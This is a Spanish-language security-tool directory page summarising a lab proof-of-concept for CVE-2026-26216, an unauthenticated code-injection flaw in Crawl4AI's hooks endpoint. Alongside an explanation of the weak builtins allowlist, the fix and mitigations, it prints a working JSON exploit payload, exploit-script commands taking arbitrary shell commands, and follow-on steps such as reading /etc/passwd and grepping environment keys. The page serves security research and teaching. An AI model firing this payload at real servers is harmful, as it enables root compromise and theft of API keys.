Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EXPLOIT-CVE-2026-26216 | Kitploit
Herramientas/GitHubGitHub/joaovicdev/exploit-cve-2026-26216
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubjoaovicdev/exploit-cve-2026-26216

EXPLOIT-CVE-2026-26216

Ver Repositorio
hace 25 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-26216 — RCE no autenticado en Crawl4AI vía hooks (GHSA-5882-5rx9-xgxp)

CVSS 10.0 · pre-auth RCE · CWE-94 (Code Injection) Ejecución remota de código no autenticada en el servidor Docker de Crawl4AI (< 0.8.0), abusando del parámetro hooks del endpoint POST /crawl. Un único JSON en el POST ejecuta Python como root dentro del contenedor.

Esta es una PoC de laboratorio, autocontenida y reproducible, para investigación de seguridad y fines educativos.


La vulnerabilidad en una frase

El endpoint POST /crawl acepta código Python arbitrario en el campo hooks.code.<evento>. Ese código se ejecuta con exec() dentro de un "sandbox casero" — un diccionario de builtins restringido. Solo que __import__ se dejó en la allowlist, lo que permite __import__('os').system(...) y derrota todo el sandbox.

root@kitploit:~
POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

Como el deploy oficial se ejecuta con JWT desactivado por defecto y el contenedor se ejecuta como root, el resultado es RCE root, pre-autenticación.

Por qué es la lección perfecta sobre "sandbox casero en herramienta de IA"

El sandbox parece funcionar: open, eval, exec fueron eliminados, por lo que un ataque ingenuo (open('/etc/passwd')) es bloqueado. Esto crea una falsa sensación de seguridad. Pero basta un builtin peligroso olvidado (__import__) para importar toda la stdlib (os, subprocess, socket) y la allowlist se convierte en decoración. La allowlist de builtins no es un sandbox.


Estructura del proyecto

root@kitploit:~
CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

Nota de fidelidad. vulnerable-app/ es una reproducción ligera del camino de código vulnerable de Crawl4AI (no abre Chromium/Playwright), para que la PoC sea ligera y 100 % reproducible. El comportamiento del sandbox y la estructura del payload reflejan la advisory oficial GHSA-5882-5rx9-xgxp. La línea vulnerable está marcada en vulnerable-app/hook_manager.py.


Cómo ejecutar

root@kitploit:~
# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

Lo que demuestra el exploit

A partir de ahí: pivote hacia la red interna, robo de credenciales de nube, persistencia, etc.


Impacto

  • Confidencialidad: robo de OPENAI_API_KEY, tokens internos, secrets del contenedor.
  • Integridad: escritura/alteración de archivos, backdoors.
  • Disponibilidad: kill de procesos, wipe de datos.
  • Lateral: el contenedor generalmente tiene acceso a la red interna → pivote.

Todo esto sin autenticación.


Corrección

Corregido en Crawl4AI 0.8.0:

  • __import__ (y eval/exec/open) eliminados de los builtins permitidos.
  • Hooks desactivados por defecto: opt-in explícito vía CRAWL4AI_HOOKS_ENABLED=true.

Mitigaciones generales:

  • Actualice a crawl4ai >= 0.8.0.
  • Nunca exponga el servidor Crawl4AI directamente a internet; habilite JWT.
  • No ejecute el contenedor como root; use un usuario no privilegiado y FS de solo lectura.
  • Trate la "allowlist de builtins" como lo que es: no es un sandbox. Para ejecutar código no confiable, use aislamiento real (gVisor, microVM, proceso separado sin red/FS, seccomp).

Referencias

  • GitHub Advisory — GHSA-5882-5rx9-xgxp
  • GitHub Advisory Database
  • Corgea — CVE-2026-26216
  • GitLab Advisory Database
  • miggo.io — GHSA-5882-5rx9-xgxp

Aviso legal

Material para investigación de seguridad autorizada y educación. Úselo solo en sistemas que usted posee o para los que tiene permiso explícito por escrito para probar.

Descargar herramienta
#AcciónImpacto
1open('/etc/passwd') directoBloqueado por el sandbox (falsa seguridad)
2__import__('subprocess') + id/whoamiRCE como root
3cat /etc/passwd vía shellLectura arbitraria de archivos
4env | grep KEYExfiltración de API keys / tokens
5echo ... > /tmp/PWNEDEscritura arbitraria de archivos